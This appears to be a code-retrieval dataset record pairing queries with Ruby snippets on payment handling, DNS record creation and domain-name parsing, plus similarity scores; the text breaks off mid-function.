"def authorize(amount, params = {})\n params = params.reverse_merge(\n :command => :a,\n :msg_type => 'DMS',\n :amount => amount,\n :currency => default_currency\n )\n lookup_currency(params)\n requires!(params, :amount, :currency, :client_ip_addr, :msg_type)\n commit(params)\n end",
"def amount\n result = 0\n if gateway_mode === :test\n result = 1000\n else\n result = (@order.price * 100)\n end\n result.to_i\n end",
"def transfer_credits_to(receiver, amount)\r\n fail if receiver.nil?\r\n raise TradeError, \"NOT_ENOUGH_CREDITS \" unless self.credits >= amount\r\n\r\n self.credits -= amount\r\n receiver.credits += amount\r\n end",
"def withdraw!(amount)\n amount = -amount if amount > 0\n add_transaction(amount)\n\n balance\n end",
"def sip_amount\n 5\n end",
"def sip_amount\n 5\n end",
"def sip_amount\n 5\n end",
"def sip_amount\n 5\n end",
"def deposit(amt)\n @bank_acct += amt\n puts \"Your balance is #{@bank_acct}.\"\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :hosted_payment_form => true)\n @sim_transaction.set_hosted_payment_receipt(AuthorizeNet::SIM::HostedReceiptPage.new(:link_method => AuthorizeNet::SIM::HostedReceiptPage::LinkMethod::GET, :link_text => 'Continue', :link_url => payments_thank_you_url(:only_path => false)))\n\n end",
"def mine(amount, payer, payee, miner, timestamp, signature, prev_hash)\r\n blob = amount.to_s + payer.to_s + payee.to_s + miner.to_s + timestamp.to_s + signature.to_s + prev_hash.to_s\r\n nonce = find_nonce(blob)\r\n Faraday.post(\"#{URL}:#{payer}/block_mined\", amount: amount, payer: payer, payee: payee, miner: miner, timestamp: timestamp, signature: signature, prev_hash: prev_hash, nonce: nonce)\r\nend",
"def transferMoneyFromCard\n results1 = postTransaction(@current_user[\"id\"], @current_user[\"id\"], params[:money]) # create initial state\n transact = results1.parsed_response # transact object to get the id in the rest of the process\n if results1.code == 201\n logTransaction(\"Transfer\", transact[\"id\"], @current_user[\"id\"], @current_user[\"id\"], params[:money], \"initial\", 0)\n resultsGet = HTTParty.get(\"http://192.168.99.104:3003/credit_card?id=\"+params[:cardId].to_s)\n userA = (resultsGet[\"user_id\"])\n if userA != (@current_user[\"id\"])\n renderError(\"Forbidden\",403,\"current user has no access\")\n return -1\n else\n if (resultsGet[\"amount\"]<(params[:money]).to_i)\n renderError(\"Bad Request\", 400, \"The credit card do not have enough money\")\n else\n actualMoney=checkMoneyUser(userA)\n newMoneyUser=(actualMoney[\"money\"]).to_f + (params[:money]).to_i\n newMoneyCard=resultsGet[\"amount\"].to_i - (params[:money]).to_i\n optionsCd = {\n :body => {\"amount\": newMoneyCard}.to_json,\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => request.headers['Authorization']\n }\n }\n resultCd = HTTParty.put(\"http://192.168.99.104:3003/credit_cards?id=\"+params[:cardId].to_s, optionsCd)#subtract money from card\n if resultCd.code == 204\n logUpdateCard(params[:cardId], newMoneyCard, 0)\n results2 = updateTransaction(\"pending\", transact[\"id\"])# put pending state\n if results2.code == 204\n logTransaction(\"Transfer\", transact[\"id\"], @current_user[\"id\"], @current_user[\"id\"], params[:money], \"pending\", 0)\n else\n ##########ERROR EN UPDATE TRANSACCION (pending)###### Se devuelve el dinero a la tarjeta, state incomplete\n undoUpdateCard(params[:cardId], newMoneyCard.to_i , newMoneyCard.to_i + (params[:money]).to_i)\n resultsError = updateTransaction(\"incomplete\", transact[\"id\"])\n if resultsError.code == 204\n logTransaction(\"Transaction\", transact[\"id\"], @current_user[\"id\"], params[:userid], params[:amount], \"incomplete\", 1)\n end\n render json: results4.parsed_response, status: results4.code\n ##########ERROR EN UPDATE TRANSACCION (pending)###### Se devuelve el dinero a la tarjeta, state incomplete\n end\n else\n ##########ERROR EN UPDATE A TARJETA###### Se devuelve el dinero a la tarjeta, state incomplete\n undoUpdateCard(params[:cardId], newMoneyCard.to_i , newMoneyCard.to_i + (params[:money]).to_i)\n resultsError = updateTransaction(\"incomplete\", transact[\"id\"])\n if resultsError.code == 204\n logTransaction(\"Transaction\", transact[\"id\"], @current_user[\"id\"], params[:userid], params[:amount], \"incomplete\", 1)\n end\n render json: resultCd.parsed_response, status: resultCd.code\n ##########ERROR EN UPDATE TRANSACCION (pending)###### Se devuelve el dinero a la tarjeta, state incomplete\n end\n resultUs = updateMoney(newMoneyUser, userA.to_s) #add money to user\n if resultUs.code == 204\n logUpdateMoney(userA.to_s, newMoneyUser, 0)\n results3 = updateTransaction(\"complete\", transact[\"id\"])# put complete state\n if results3.code == 204\n logTransaction(\"Transfer\", transact[\"id\"], @current_user[\"id\"], @current_user[\"id\"], params[:money], \"complete\", 0)\n subject = \"Transferencia de tarjeta de credito\"\n content = \"Has recibido una transferencia de la cuenta \" + params[:cardId].to_s + \" por valor de $\" + (params[:money]).to_s\n createNotification(@current_user[\"id\"],subject, content, @current_user_notification_key)\n head 201 # transaction created and state complete\n else\n ##########ERROR EN UPDATE TRANSACCION (complete)###### Se devuelve el dinero a la tarjeta, y se le resta al usuario state incomplete\n #le quita al que recibe\n undoUpdateMoney(params[:userid], newMoneyUser.to_f , newMoneyUser.to_f - (params[:money]).to_i)\n #le pone dinero de nuevo a la tarjeta\n undoUpdateCard(params[:cardId], newMoneyCard.to_i , newMoneyCard.to_i + (params[:money]).to_i)\n resultsError = updateTransaction(\"incomplete\", transact[\"id\"])\n if resultsError.code == 204\n logTransaction(\"Transaction\", transact[\"id\"], @current_user[\"id\"], params[:userid], params[:amount], \"incomplete\", 1)\n end\n render json: results3.parsed_response, status: results3.code\n ##########ERROR EN UPDATE TRANSACCION (complete)###### Se devuelve el dinero a la tarjeta, y se le resta al usuario state incomplete\n end\n else\n ##########ERROR EN UPDATE MONEY###### Se devuelve el dinero a la tarjeta, y se le resta al usuario state incomplete\n #le quita al que recibe\n undoUpdateMoney(params[:userid], newMoneyUser.to_f , newMoneyUser.to_f - (params[:money]).to_i)\n #le pone dinero de nuevo a la tarjeta\n undoUpdateCard(params[:cardId], newMoneyCard.to_i , newMoneyCard.to_i + (params[:money]).to_i)\n resultsError = updateTransaction(\"incomplete\", transact[\"id\"])\n if resultsError.code == 204\n logTransaction(\"Transaction\", transact[\"id\"], @current_user[\"id\"], params[:userid], params[:amount], \"incomplete\", 1)\n end\n render json: resultUs.parsed_response, status: resultUs.code\n ##########ERROR EN UPDATE MONEY###### Se devuelve el dinero a la tarjeta, y se le resta al usuario state incomplete\n end\n end\n end\n else\n resultsError = updateTransaction(\"incomplete\", transact[\"id\"])\n if resultsError.code == 204\n logTransaction(\"Transaction\", transact[\"id\"], @current_user[\"id\"], @current_user[\"id\"], params[:money], \"incomplete\", 1)\n end\n render json: results1.parsed_response, status: results1.code\n end\n end",
"def add_amount(amount)\n @balance += amount\n end",
"def deposit(amount)\n @balance += amount\n @balance\n end",
"def money\n Spree::Money.new(amount, { currency: currency })\n end",
"def withdraw(amount)\n amount += TRANSACTION_FEE\n super(amount)\n end",
"def withdraw(amount)\n amount += TRANSACTION_FEE\n super(amount)\n end",
"def sell(btc_int_value, price_per_btc = nil)\n\t\tprice_per_btc = sell_quote if price_per_btc == nil\n\t\tusd_int_value = btc_int2float(btc_int_value) * price_per_btc\n\t\ttransaction(:btc, -btc_int_value, :spent)\n\t\ttransaction(:usd, +usd_int_value, :earn)\n\t\ttransaction(:usd, -usd_int_value * fee, :fee)\n\t\tcommit_transactions\n\tend",
"def pay(value, currency, sender_token_id, caller_reference, options = {})\n submit Pay.new(options.merge(\n :transaction_amount => {:value => value, :currency_code => currency},\n :sender_token_id => sender_token_id,\n :caller_reference => caller_reference\n ))\n end",
"def transfer_swincoin(amount, payer, payee, key_private)\r\n payer_peer = search_peers_by_port(payee)\r\n if (payer_peer != -1)\r\n new_block(amount, payer, payee, key_private)\r\n else\r\n puts \"Transaction failed. The payee port does not exist!\".red\r\n $status = \"Transaction failed. The payee port does not exist!\"\r\n end\r\nend",
"def payment_amount\n convert_email_to_user && save\n return override_cost if override_cost.present?\n\n event&.get_cost(member: user&.present?)\n end",
"def remove_money(amount)\n @wallet -= amount\nend",
"def distribute_money_internal_2(dealer_total, player , hand_index)\n i = hand_index\n dt = dealer_total\n hv = player.get_value(i)\n bet = player.get_bet(i)\n pn = player.player_number\n\n # instead of modifiying amount directly, should use a function call to increment player amount by payoff factor\n if (hv == 21 and (dt > 21 or dt < 21) )\n #player.amount += (bet * 2.5)\n player.modify_account(bet,2.5)\n puts \"Player #{pn} H#{i} #{hv} Blackjack - Dealer #{dt} , Amount= #{player.amount}\"\n elsif (hv < 21 and dt > 21) or (dt <= 21 and hv <= 21 and hv > dt)\n #player.amount += (bet * 2)\n player.modify_account(bet,2)\n puts \"Player #{pn} H#{i} #{hv} - Dealer #{dt} , Amount= #{player.amount}\"\n elsif (dt > 21 and hv > 21) or ((hv == 21) and dt == 21 ) or (hv == dealer_total and dt <= 21 and hv <= 21)\n #player.amount += (bet * 1)\n player.modify_account(bet,1)\n puts \"Player #{pn} H#{i} #{hv} - Dealer #{dt} , Amount= #{player.amount}\"\n else\n puts \"Player #{pn} H#{i} #{hv} - Dealer #{dt} , Amount= #{player.amount}\"\n end\n\n end"
] |
[
"0.77640545",
"0.7612286",
"0.7566534",
"0.6924881",
"0.66707015",
"0.6606152",
"0.64538217",
"0.6340684",
"0.63370204",
"0.63045245",
"0.62785304",
"0.61866736",
"0.61866033",
"0.61626756",
"0.6133012",
"0.61182386",
"0.61151576",
"0.6091296",
"0.6087048",
"0.6071513",
"0.60711735",
"0.6022526",
"0.60220987",
"0.6009073",
"0.59873897",
"0.5981498",
"0.5953915",
"0.5917954",
"0.59128505",
"0.59071714",
"0.5907059",
"0.58976185",
"0.58813417",
"0.58672875",
"0.58672875",
"0.58651257",
"0.5859025",
"0.5858079",
"0.5849692",
"0.584499",
"0.5843994",
"0.5834306",
"0.5823034",
"0.58194226",
"0.58097386",
"0.5806496",
"0.5805795",
"0.58002794",
"0.57873124",
"0.57867384",
"0.57816684",
"0.57816684",
"0.578136",
"0.5781197",
"0.57745403",
"0.5772497",
"0.5765066",
"0.57603794",
"0.57576853",
"0.5749506",
"0.5748986",
"0.5746743",
"0.57445914",
"0.5742439",
"0.5741196",
"0.57402384",
"0.574009",
"0.57399094",
"0.57399094",
"0.57399094",
"0.57382137",
"0.57366025",
"0.57339424",
"0.57317185",
"0.57265216",
"0.5723289",
"0.57212555",
"0.5720844",
"0.572048",
"0.57168794",
"0.5715952",
"0.5715882",
"0.5715882",
"0.5715882",
"0.5715882",
"0.5710989",
"0.5700577",
"0.56940883",
"0.5693838",
"0.56933683",
"0.56862605",
"0.56843984",
"0.56797636",
"0.56797636",
"0.5677265",
"0.5671439",
"0.5669348",
"0.5662608",
"0.56551075",
"0.5648455"
] |
0.7490833
|
3
|
domainName SOAP::SOAPString hostName SOAP::SOAPString recordType SOAP::SOAPString data SOAP::SOAPString ttl SOAP::SOAPInt priority SOAP::SOAPInt
|
def create_domain_record(domainName = nil, hostName = nil, recordType = nil, data = nil, ttl = 0, priority = 0)
valid_ttls = [0, 1, 60, 300, 600, 900, 1800, 2700, 3600, 7200, 14400, 28800, 43200, 64800, 86400, 172800]
raise "Ttl must be one of #{valid_ttls.join(',')}" if ttl && ! valid_ttls.include?(ttl)
mx_prio = [5, 10, 20, 30, 40, 50, 60, 70, 80, 90]
f_prio = [1, 2, 3]
raise "MX priority must be one of #{mx_prio.join(',')}" if recordType == "MX" and ! mx_prio.include?(priority)
raise "F priority must be one of #{f_prio.join(',')}" if recordType == "F" and ! f_prio.include?(priority)
valid_types = ["A", "CNAME", "MX", "F", "TXT", "SRV"]
raise "Record type must be one of #{valid_types.join(',')}" if recordType && ! valid_types.include?(recordType)
DomainRecord.new(domainName, hostName, recordType, data, ttl, priority)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def extract_domain_name(payload)\n\t\tif(payload) then\n\t\t domain_name = \"\"\n while(true)\n \t\n \t len = payload[0].unpack('H*')[0].to_i\n \t # to understand below you might need to read up on dns packets. they take the form of [length][string][length][string][...]0\n \t if len != 0 then \n \n domain_name += payload[1, len] + \".\" #grab the first chunk from the begining, until the length specified by the packet\n payload = payload[len + 1..-1]\n else\n domain_name = domain_name[0, domain_name.length - 1] # -1 to truncate the 0 at the end of the payload\n \t\n \n return domain_name\n \t\n end # if len != 0 then\n end\n end\n\tend",
"def do_lookup(args)\n if args[\"qname\"] == \"example.com\" and args[\"qtype\"].downcase == \"soa\"\n @result = [\n record(\"example.com\", \"SOA\", \"sns.dns.icann.org noc.dns.icann.org 2013012485 7200 3600 1209600 3600\"),\n ]\n elsif args[\"qname\"] == \"example.com\" and args[\"qtype\"].downcase == \"any\"\n @result = [ \n record(\"example.com\", \"SOA\", \"sns.dns.icann.org noc.dns.icann.org 2013012485 7200 3600 1209600 3600\"),\n record(\"example.com\", \"NS\", \"sns.dns.icann.org\"),\n record_prio(\"example.com\", \"MX\", \"test.example.com\",10)\n ]\n elsif args[\"qname\"] == \"test.example.com\" and args[\"qtype\"].downcase == \"any\"\n @result = [\n record(\"test.example.com\", \"A\", \"127.0.0.1\")\n ]\n elsif args[\"qname\"] =~ /(.*)\\.example\\.com$/ and args[\"qtype\"].downcase == \"any\"\n ip = 0\n $1.downcase.each_byte do |b| ip = ip + b end\n ip_2 = ip/256\n ip = ip%256\n @result = [\n record(args[\"qname\"], \"A\", \"127.0.#{ip_2}.#{ip}\")\n ]\n end\n end",
"def getDomain(payload)\n\tdomainName = \"\"\n\t\n\twhile true\n\n\t\t# Get length of domain name section\n\t\tlength = payload[0].unpack('c*')[0]\n\t\t#length = payload[0].to_i\n\n\t\tif(length != 0)\n\n\t\t\t# Add domain section to overall domain name string\n\t\t\tdomainName += payload[1, length] + \".\"\n\t\t\tpayload = payload[length + 1..-1]\n\t\telse\n\t\t\t# Return overall domain name string\n\t\t\treturn domainName = domainName[0, domainName.length - 1]\n\t\tend\n\tend\n\tputs \"Domain Info: \" + domainName\nend",
"def get_record_type (dns_name, dns_values)\n record_type = \"cname\"\n ips = dns_values.grep(/\\d+\\.\\d+\\.\\d+\\.\\d+/)\n dns_values.each do |dns_value|\n if dns_value =~ Resolv::IPv6::Regex\n record_type = \"aaaa\"\n end\n end\n\n\n if ips.size > 0\n record_type = \"a\"\n end\n if dns_name =~ /^\\d+\\.\\d+\\.\\d+\\.\\d+$/ || dns_name =~ Resolv::IPv6::Regex\n record_type = \"ptr\"\n end\n if dns_name =~ /^txt-/\n record_type = \"txt\"\n end\n return record_type\n end",
"def get_record_type(dns_name, dns_values)\n # default to CNAME\n record_type = 'cname'\n # if the value is an IP then it is an 'A' record\n ips = dns_values.grep(/\\d+\\.\\d+\\.\\d+\\.\\d+/)\n record_type = 'a' unless ips.empty?\n record_type = 'ptr' if dns_name =~ /^\\d+\\.\\d+\\.\\d+\\.\\d+$/\n record_type\n end",
"def get_domain(payload)\n domain_name = \"\"\n while(true)\n # Get length fields\n len = payload[0].unpack('H*')[0].to_i\n \n if len != 0 then\n domain_name += payload[1, len] + \".\"\n payload = payload[len + 1..-1]\n else\n domain_name = domain_name[0, domain_name.length - 1]\n return domain_name\n end # if len != 0 then\n end # while(true)\n end",
"def getDomainName(payload)\n domainName = \"\"\n while(true)\n len = payload[0].to_i\n if (len != 0)\n domainName += payload[1,len] + \".\"\n payload = payload[len+1..-1]\n else\n return domainName = domainName[0,domainName.length-1]\n end\n end\nend",
"def parse_provider_domain_record_name args\r\n case @options['route_dns_changes_via']\r\n when 'rackspace'\r\n \"#{ args['subdomain'] }.#{ args['domain'] }\"\r\n when 'dnsimple'\r\n args['subdomain']\r\n else\r\n \"#{ args['subdomain'] }.#{ args['domain'] }\"\r\n end\r\n end",
"def dns_a_record\n @_dns_a_record = \"0.0.0.0\" if @config[:dns_lookup] == :off\n @_dns_a_record ||= Socket.gethostbyname(dns_name)\n rescue SocketError # not found, but could also mean network not work\n @_dns_a_record ||= []\n end",
"def create_record(fqdn, type, ipdata)\n unless @dnss.is_valid?\n Puppet.crit dns.cstatus\n end\n priority = {} # TODO: research how to implement priority for puppet\n# priority = priority[0]\n# if priority.nil?\n# priority = {}\n# else\n# priority = { :priority => priority.to_i }\n# end\n record = @dnss.create_record(fqdn, type, ipdata, priority)\n if record.nil?\n Puppet.err dns.cstatus\n end\n Puppet.notice \"Created dns record '#{fqdn}' with id '#{record[:id]}'.\"\n end",
"def parse_domain_name\n mdata = /ip domain-name ([\\w.]+)/.match(config)\n { domain_name: mdata.nil? ? '' : mdata[1] }\n end",
"def create_dns_record(domain, hostname, type, content, ttl, priority = nil)\n body = {\n 'hostname' => hostname,\n 'type' => type,\n 'content' => content,\n 'ttl' => ttl\n }\n body.update!(:priority => priority) if priority\n connection.post \"/dns/create/#{domain}\", body\n end",
"def domain_name(subdomain: T.unsafe(nil), domain: T.unsafe(nil)); end",
"def fqdn domain_name\n Service.fqdn domain_name, dns\n end",
"def set_server_name; self.name = domain; end",
"def dns_host_name\n @dns_host_name ||= ::SimpleIDN.to_ascii(@host_name)\n end",
"def stdlookup(session,domain,dest)\n\tdest = dest + \"-general-record-lookup.txt\"\n\tprint_status(\"Getting MX and NS Records for Domain #{domain}\")\n\tfilewrt(dest,\"SOA, NS and MX Records for Domain #{domain}\")\n\ttypes = [\"SOA\",\"NS\",\"MX\"]\n\tmxout = []\n\tresults = []\n\tgarbage = []\n\ttypes.each do |t|\n\tbegin\n\t\tr = session.sys.process.execute(\"nslookup -type=#{t} #{domain}\", nil, {'Hidden' => true, 'Channelized' => true})\n\t\twhile(d = r.channel.read)\n\t\t\tmxout << d\n\t\tend\n\t\tr.channel.close\n\t\tr.close\n\t\tresults = mxout.join.split(/\\n/)\n\t\tresults.each do |rec|\n\t\t\t\tif rec.match(/\\s*internet\\saddress\\s\\=\\s/)\n\t\t\t\t\tgarbage << rec.split(/\\s*internet\\saddress\\s\\=/)\n\t\t\t\t\tprint_status(\"#{garbage[0].join.sub(\" \",\" \")} #{t} \")\n\t\t\t\t\tfilewrt(dest,garbage[0].join.sub(\" \",\" \")+\" #{t} \")\n\t\t\t\t\tgarbage.clear\n\t\t\t\tend\n\t\t\t\tgarbage.clear\n\t\tend\n\n\trescue ::Exception => e\n \t\tprint_status(\"The following Error was encountered: #{e.class} #{e}\")\n\tend\n\tend\nend",
"def add_domain_record_ns(params)\n post('dns/recordns', params)\n end",
"def required_dns_records\n all_ingress_hostnames + SPECIAL_A_RECORD_NAMES\nend",
"def domain(tld_length = T.unsafe(nil)); end",
"def dns\n @dns ||= @node.search('DNS/listEntry').map do |entry|\n DomainName.new(entry.inner_text)\n end\n end",
"def domain\n @domain ||= PublicSuffix.parse(@fqdn).domain\n end",
"def domain \n @node[\"domain\"]\n end",
"def domain=(nd)\n self['SERVER_NAME'] = self['HTTP_HOST'] = nd\n end",
"def domain_name=(value)\n @domain_name = value\n end",
"def domain_name=(value)\n @domain_name = value\n end",
"def domain=(str)\n @domain = str\n end",
"def domain(domain)\n get(\"/dns/domain/#{domain}\")\n end",
"def zap_domain\n Zsock.zap_domain(@zocket).read_string\n end",
"def add_record(domain, host, type, value, mx_priority='', ttl=7200)\n domain = find_domain!(domain)\n raise IncorrectDomainType, \"Domain #{host} is a #{domain.type} domain\" unless domain.can_have_records?\n record = Record.new(domain, host, type, value, mx_priority, ttl)\n response = post('/dns.php', record.create_options)\n if response_status_message(response) == RESPONSE_MESSAGES[:RECORD_ADDED]\n clear_domain_records_cache!(domain)\n true\n else\n false\n end\n \n end",
"def read_tnsnames\n\n tnsnames = {}\n\n if ENV['TNS_ADMIN']\n tnsadmin = ENV['TNS_ADMIN']\n else\n if ENV['ORACLE_HOME']\n tnsadmin = \"#{ENV['ORACLE_HOME']}/network/admin\"\n else\n logger.warn 'read_tnsnames: TNS_ADMIN or ORACLE_HOME not set in environment, no TNS names provided'\n return tnsnames # Leerer Hash\n end\n end\n\n fullstring = IO.read( \"#{tnsadmin}/tnsnames.ora\" )\n \n while true \n # Ermitteln TNSName\n start_pos_description = fullstring.index('DESCRIPTION')\n break unless start_pos_description # Abbruch, wenn kein weitere DESCRIPTION im String\n tns_name = fullstring[0..start_pos_description-1]\n while tns_name[tns_name.length-1,1].match '[=,\\(, ,\\n,\\r]' # Zeichen nach dem TNSName entfernen\n tns_name = tns_name[0, tns_name.length-1] # Letztes Zeichen des Strings entfernen\n end\n while tns_name.index(\"\\n\") # Alle Zeilen vor der mit DESCRIPTION entfernen\n tns_name = tns_name[tns_name.index(\"\\n\")+1, 10000] # Wert akzeptieren nach Linefeed wenn enthalten\n end\n fullstring = fullstring[start_pos_description + 10, 1000000] # Rest des Strings fuer weitere Verarbeitung\n\n next if tns_name[0,1] == \"#\" # Auskommentierte Zeile\n\n # ermitteln Hostname\n start_pos_host = fullstring.index('HOST')\n # Naechster Block mit Description beginnen wenn kein Host enthalten oder in naechster Description gefunden\n next if start_pos_host==nil || (fullstring.index('DESCRIPTION') && fullstring.index('DESCRIPTION')<start_pos_host) # Alle weiteren Treffer muessen vor der naechsten Description liegen\n fullstring = fullstring[start_pos_host + 5, 1000000]\n hostName = fullstring[0..fullstring.index(')')-1]\n hostName = hostName.delete(' ').delete('=') # Entfernen Blank u.s.w\n \n # ermitteln Port\n start_pos_port = fullstring.index('PORT')\n # Naechster Block mit Description beginnen wenn kein Port enthalten oder in naechster Description gefunden\n next if start_pos_port==nil || (fullstring.index('DESCRIPTION') && fullstring.index('DESCRIPTION')<start_pos_port) # Alle weiteren Treffer muessen vor der naechsten Description liegen\n fullstring = fullstring[start_pos_port + 5, 1000000]\n port = fullstring[0..fullstring.index(')')-1]\n port = port.delete(' ').delete('=') # Entfernen Blank u.s.w.\n\n # ermitteln SID oder alternativ Instance_Name oder Service_Name\n sid_tag_length = 4\n sid_usage = :SID\n start_pos_sid = fullstring.index('SID=') # i.d.R. folgt unmittelbar ein \"=\"\n start_pos_sid = fullstring.index('SID ') if start_pos_sid.nil? # evtl. \" \" zwischen SID und \"=\"\n if start_pos_sid.nil? || (fullstring.index('DESCRIPTION') && fullstring.index('DESCRIPTION')<start_pos_sid) # Alle weiteren Treffer muessen vor der naechsten Description liegen\n sid_tag_length = 12\n sid_usage = :SERVICE_NAME\n start_pos_sid = fullstring.index('SERVICE_NAME')\n end\n # Naechster Block mit Description beginnen wenn kein SID enthalten oder in naechster Description gefunden\n next if start_pos_sid==nil || (fullstring.index('DESCRIPTION') && fullstring.index('DESCRIPTION')<start_pos_sid) # Alle weiteren Treffer muessen vor der naechsten Description liegen\n fullstring = fullstring[start_pos_sid + sid_tag_length, 1000000] # Rest des Strings fuer weitere Verarbeitung\n \n sidName = fullstring[0..fullstring.index(')')-1]\n sidName = sidName.delete(' ').delete('=') # Entfernen Blank u.s.w.\n \n # Kompletter Record gefunden\n tnsnames[tns_name] = {:hostName => hostName, :port => port, :sidName => sidName, :sidUsage =>sid_usage }\n end\n tnsnames\n end",
"def dns_record_params\n params.require(:dns_record).permit(:dtype, :name, :ttl, :value, :domain_id)\n end",
"def set_domain_name(domain)\n @domain = domain.to_s\n end",
"def get_whois_nameservers(domain)\n whois_output = `whois #{domain}`\n soa = nil\n whois_lines = whois_output.split(/\\n+/)\n nameserver_lines = whois_lines.select { |line| line =~ /^Name Server:/ }\n nameservers = nameserver_lines.map { |line| line.split.last.downcase }.uniq\n # whois records don't have trail '.'; NS records do; add trailing '.'\n nameservers.map { |ns| ns << '.' }\n nameservers\nend",
"def dns\n @dns ||= select { |type,value| type == :dns }.map do |(type,value)|\n value\n end\n end",
"def __name__\n { 'Hostname' => @name, 'Domainname' => domain }\n end",
"def external_fqdn() ; info[:external_fqdn] ; end",
"def get_name(dns_query, parsed_dns)\n domain_array = []\n for l in 0 .. MAX_DOMAIN_NAME\n domain_str_num = dns_query[parsed_dns[:index]].unpack(\"C\")[0]\n if (domain_str_num & 0xc0) == 0xc0\n buf = compression_domain_name(dns_query, parsed_dns)\n parsed_dns[:domain_name_dictionary] << {:first_index => parsed_dns[:index], :domain_name => buf}\n domain_array << buf\n parsed_dns[:index] += SHORT_LENGTH\n break\n else\n break unless create_domain_array(dns_query, parsed_dns, domain_str_num, domain_array)\n end\n end\n return create_domain_name(domain_array)\n end",
"def domain\n unless @domain\n if defined? ActiveSupport::CoreExtensions::String::Inflections\n @domain = name.tableize\n else\n @domain = name.downcase\n end\n end\n @domain\n end",
"def convert_record(line)\n record = line.split(' ')\n if record[1] == 'A' || record[1] == 'AAAA'\n ip = IPAddr.new record[2]\n name = ip.reverse\n puts name + \". PTR \" + record[0]\n end\nend",
"def set_domain\n if check_fields_google_domain? # google domain\n @domain.push(:Google)\n elsif check_fields_nas_domain? # NAS domain\n @domain.push(:NAS)\n else \n @domain.push(:Cross)\n end\n notify \"DOMAIN : #{@domain}\"\n end",
"def domain_word; end",
"def domain_name=(d)\n @domain_name = d\n end",
"def extract_subdomain(host, tld_length); end",
"def rdfs_domain\n end",
"def domain_name\n @domain_name ||= default_name\n end",
"def subdomain(tld_length = T.unsafe(nil)); end",
"def parse_dns(dns_raw)\n hash= {}\n dns_raw.each do |record|\n record = record.split(\",\")\n if record.length() > 1 && record[0] != \"# RECORD TYPE\"\n hash[record[1].strip()] = record[2].strip()\n end\n end\n return hash\n end",
"def compression_domain_name(dns_query, parsed_dns)\n buf = \"\"\n domain_array = []\n offset = dns_query[parsed_dns[:index],SHORT_LENGTH].unpack(\"n\")[0] & 0x3fff\n\n parsed_dns[:domain_name_dictionary].each do |domain_info|\n if domain_info[:first_index] >= offset\n domain_array << domain_info[:domain_name]\n break if domain_info[:domain_name].nil? or domain_info[:domain_name].include?(\".\")\n end\n end\n domain = domain_array.compact.join('.')\n return domain\n end",
"def add_domain_record_srv(params)\n post('dns/recordsrv', params)\n end",
"def add_dnsbl(name, domain, type = 'ip', codes = { '0' => 'OK', '127.0.0.2' => 'Blacklisted' })\n @dnsbls[name] = codes\n @dnsbls[name]['domain'] = domain\n @dnsbls[name]['type'] = type\n end",
"def create_domain_string(dns_query, parsed_dns, domain_str_num)\n buf = \"\"\n dns_query[parsed_dns[:index] + 1, domain_str_num].unpack(\"C*\").each{|c| buf << sprintf(\"%c\", c)} unless domain_str_num == 0\n buf = nil if buf == \"\"\n parsed_dns[:domain_name_dictionary] << {:first_index => parsed_dns[:index], :domain_name => buf}\n parsed_dns[:index] += domain_str_num + 1\n return buf\n end",
"def parse_dns(dns_raw)\n dns = []\n dns_records = {}\n record_type_A = []\n record_type_A_IP = []\n record_type_CNAME = []\n record_type_CNAME_alias = []\n\n #adds each line to dns array and splipt them with \",\"\n dns_raw.each do |lines_in_files|\n dns.push([lines_in_files.split(\",\")])\n end\n\n #Checks for recordA,IP or recordCNAME and adds them to the respected array\n dns.each do |words_in_files|\n if words_in_files[0][0] == \"A\"\n record_type_A.push(words_in_files[0][1].strip)\n record_type_A_IP.push(words_in_files[0][2].strip)\n elsif words_in_files[0][0] == \"CNAME\"\n record_type_CNAME.push(words_in_files[0][1].strip)\n record_type_CNAME_alias.push(words_in_files[0][2].strip)\n end\n end\n\n #record_A hash stores values of recordA\n record_A = {\n :source => record_type_A,\n :ip => record_type_A_IP,\n }\n\n #recordCNAME hash stores values of recordCNAME\n record_CNAME = {\n :source => record_type_CNAME,\n :alias => record_type_CNAME_alias,\n }\n\n #dns_records gets both Hashes\n dns_records = {\n :A => record_A,\n :CNAME => record_CNAME,\n }\n\n #returns record dns_record with two hashes.\n return dns_records\nend",
"def dynamic_dns(rule_name, info)\n\n # Get to the advanced page.\n\tself.goto_advanced(rule_name, info)\n \n \t# Get to the \"Dynamic DNS\" page.\n \tbegin\n \t\t@ff.link(:text, 'Dynamic DNS').click\n \t \tself.msg(rule_name, :info, 'Dynamic DNS', 'Reached page \\'Dynamic DNS\\'.')\n\trescue\n\t \tself.msg(rule_name, :error, 'Dynamic DNS', 'Did not reach \\'Dynamic DNS\\'.')\n\t \t return\n \tend\n\n \t# Check the key.\n \tif ( info.has_key?('section') && info.has_key?('subsection') ) then\n \t# Right,go on;\n \telse\n \tself.msg(rule_name,:error,'Dynamic DNS', 'Some key NOT found.')\n \t\treturn\n \tend # End of if\n\n # ###############################################\n # The operation key are divided from three cases;\n # case one : delete a record;\n # two : add a record;\n # three : add multi-record;\n # four : upate the status of recor;\n # ###############################################\n if info.has_key?('Operation')\n\t\n case info['Operation']\n\t \n\t# ########################## \n \t# case one: delete a record;\n \t# ##########################\n\twhen 'delete'\n\n\t\tif @ff.text.include?info['Host Name'] and info['Host Name'] != \" \" then\n\n\t \t\tstr_href = @ff.link(:text,info['Host Name']).href\n\t\t\tstr_href.gsub!('edit','remove')\n\t\t\t@ff.link(:href,str_href).click\n\t\telse\n\t\t\tself.msg(rule_name,:error,'Host Name','Con NOT find the value in \\'Host Name\\'.')\n\t\tend\n\t# ##########################\t\n \t# Case two: add a record;\n \t# ##########################\n \twhen 'add'\n\n\t\t# Delete the same Entry,'Remove')\n \t\tif @ff.text.include?info['Host Name'] and info['Host Name'] != \" \" then\n\t \t\tstr_href = @ff.link(:text,info['Host Name']).href\n\t\t\tstr_href.gsub!('edit','remove')\n\t\t\t@ff.link(:href,str_href).click\n\t\tend # End of if\t\n \t \n\t\t# Add an new Dynamic DNS Entry;\n\t \t@ff.link(:text,'New Dynamic DNS Entry').click\n\t \tself.msg(rule_name,:info,'Add Dynamic DNS Entry','CLICKED')\n\n\t \t# Fill in the \"Host Name\"\n\t \tif info.has_key?('Host Name') \n\t \n\t \t@ff.text_field(:name,'ddns_host').value = info['Host Name']\n\t \tself.msg(rule_name,:info,'Host Name',info['Host Name'])\n\t 